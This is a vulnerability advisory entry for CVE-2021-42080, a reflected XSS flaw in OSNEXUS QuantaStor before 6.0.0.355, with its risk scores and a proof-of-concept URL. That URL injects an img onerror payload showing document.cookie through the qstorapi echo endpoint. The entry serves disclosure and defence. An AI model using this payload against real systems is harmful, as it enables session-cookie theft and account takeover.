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CVE-2021-42080highCWE-79

Reflected XSS vulnerability in OSNEXUS QuantaStor before 6.0.0.355

21Vexday Risk Score

No sign of exploitation. No public exploitation artifact known so far.

ssvc Trackcvss 7.4epss 0.7%
exploitation probability
0.7%top 50% of all CVEs
observed exploitation
nono source reports it
An attacker is able to launch a Reflected XSS attack using a crafted URL. POC: Visit the following URL https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Affected products
OSNEXUS · QuantaStor